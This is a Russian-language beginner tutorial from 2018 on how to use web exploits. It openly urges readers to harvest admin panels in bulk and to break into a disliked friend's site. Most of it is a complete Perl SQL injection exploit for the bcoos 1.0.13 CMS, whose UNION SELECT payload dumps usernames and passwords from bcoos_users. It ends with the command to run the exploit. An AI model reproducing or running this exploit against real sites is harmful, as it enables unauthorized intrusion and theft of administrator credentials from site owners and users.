October 28, 2018

Как использовать эксплоиты? Для новичков

Данная статья является пособием для новичков, в ней будет рассказано о том, как юзать эксплоиты для веб приложений.

Не знаю как сейчас обстоят дела с этой темой, но когда она была интересна мне - я не нашел никакого материала.

По сути, запуск эксплойтов вещь очень простая, все происходит по принципу "Нажал на кнопку - получил банан"

Ну а теперь переходим к самой сути, первое что тебе нужно знать, наверное это то, что такое эксплоит.

Эксплойт (англ. exploit — использовать) — это общий термин в сообществе компьютерной безопасности для обозначения фрагмента программного кода, который, используя возможности предоставляемые ошибкой, отказом или уязвимостью, ведёт к повышению привилегий или отказу в обслуживании компьютерной системы.

Для чего же они нужны? Эти експлоиты?

На самом деле все просто, вот допустим понадобилась тебе пачка админок (хотя бы штук 10) и ты не перерываешь кучу сайтов в поисках иньекци, xss и т.п. А находишь свежий эксплоит, находишь сайты на которых стоит уязвимый скрипт, запускаешь - получаешь пароли! Или ты ломаешь сайт ненавистного друга, на нем стоит популярная CMS c кучей модулей, попробуй-ка найди багу

Проще найти эксплоит и заюзать!

Я буду говорить только об удаленных эксплоитах. Это означает то, что вы не должны иметь доступ к компьютеру чтобы воспользоваться эксплоитом.

Эксплоиты в большинстве своем пишутся на таких языках как СИ и Perl (но есть и на множестве других, PHP например). Их можно найти на сайтах securitylab.ru(рус.), milw0rm.com(англ.).

Как же использовать этих "зверюшек"? На самом деле все очень просто, достаточно скачать нужный тебе эксплоит и запустить с требуемыми параметрами! Давай потренируемся? В виде подопытного кролика будем использовать CMS bcoos версии 1.0.13.

Вот код самого эксплоита:

#!/usr/bin/perl -w
#============================================
# bcoos 1.0.13 Remote SQL Injection Exploit
#============================================
#
# ,--^----------,--------,-----,-------^--,
# | ||||||||| '--------' | O .. CWH Underground Hacking Team ..
# '+---------------------------^----------|
# '\_,-------, _________________________|
# / XXXXXX /'| /
# / XXXXXX / '\ /
# / XXXXXX /\______(
# / XXXXXX /
# / XXXXXX /
# (________(
# '------'
#
#AUTHOR : CWH Underground
#DATE : 1 December 2008
#SITE : cwh.citec.us
#
#
#####################################################
#APPLICATION : bcoos
#VERSION : 1.0.13 (Prior versions also maybe affected)
#VENDOR : http://www.bcoos.net/
#DOWNLOAD : http://www.bcoos.net/modules/mydownloads/cache/files/bcoos1.0.13.zip
######################################################
#
#Note: magic_quotes_gpc = off
#Addresses Modules Must be Installed
#
################################################################################
#######
#Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
#Special Thx : asylu3, str0ke, citec.us, milw0rm.com
################################################################################
#######


use LWP::UserAgent;
use HTTP::Request;

if ($#ARGV+1 != 2)
{
print "\n==============================================\n";
print " Bcoos Remote SQL Injection Exploit \n";
print " \n";
print " Discovered By CWH Underground \n";
print "==============================================\n";
print " \n";
print " ,--^----------,--------,-----,-------^--, \n";
print " | ||||||||| '--------' | O \n";
print " '+---------------------------^----------| \n";
print " '\_,-------, _________________________| \n";
print " / XXXXXX /'| / \n";
print " / XXXXXX / '\ / \n";
print " / XXXXXX /\______( \n";
print " / XXXXXX / \n";
print " / XXXXXX / .. CWH Underground Hacking Team .. \n";
print " (________( \n";
print " '------' \n";
print " \n";
print "Usage : ./xpl.pl <Target> <Data Limit>\n";
print "Example: ./xpl.pl http://www.target.com/bcoos 10\n";
exit();
}

$target = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0]: 'http://' . $ARGV[0];
$number = $ARGV[1];

print "\n++++++++++++++++++++++++++++++++++++++++++++++++++++++";
print "\n ..:: SQL Injection Exploit By CWH Underground ::.. ";
print "\n++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
print "\n[+]Dump Username and Password\n";

for ($start=0;$start<$number;$start++) {

$xpl = LWP::UserAgent->new() or die "Could not initialize browser\n";
$req = HTTP::Request->new(GET => $target."/modules/adresses/viewcat.php?cid=1%27+and+1=2+union+select+1,concat(0x3a3a3a,uname,0x3a3a,pass,0x3a3a3a)+from+bcoos_users+limit+1+offset+".$start."--+and+1=1")or die "Failed to Connect, Try again!\n";
$res = $xpl->request($req);
$info = $res->content;
$count=$start+1;

if ($info =~ /:::(.+):::/)
{
$dump=$1;
($username,$password)= split('::',$dump);
printf "\n [$count]\n [!]Username = $username \n [!]Password = $password\n";
}
else {
print "\n [*]Exploit Done !!" or die "\n [*]Exploit Failed !!\n";
exit;
}
}

Все кто знаком с Perl сразу поймут что делает этот код, те-же кто знаком с другими языками, скорее всего догадаются.

Если-же ты не знаешь ни одного ЯП, то объясняю что делает этот код. Он запрашивает у тебя параметры (в данном случае URL и таймаут), проходи по линку (добавляя туда собственно говоря саму SQL injection), парсит страничку на наличие логина/пароля администратора и выдает тебе! Это все! Как видишь ничего сложного!

Также как и с другими эксплоитами. А вот для запуска, тебе необходим интерпретатор Perl (лучше конечно использовать дедик, где установлены множество компиляторов/интерпретаторов, ведь эксплоиты могу быть написаны на разных языках, а ставить к себе на машину весь этот "груз" не самый замечательный вариант!). Запускается эксплоит очень легко!

perl exploit_name.pl url timeout

Вот и все! У тебя на руках пароль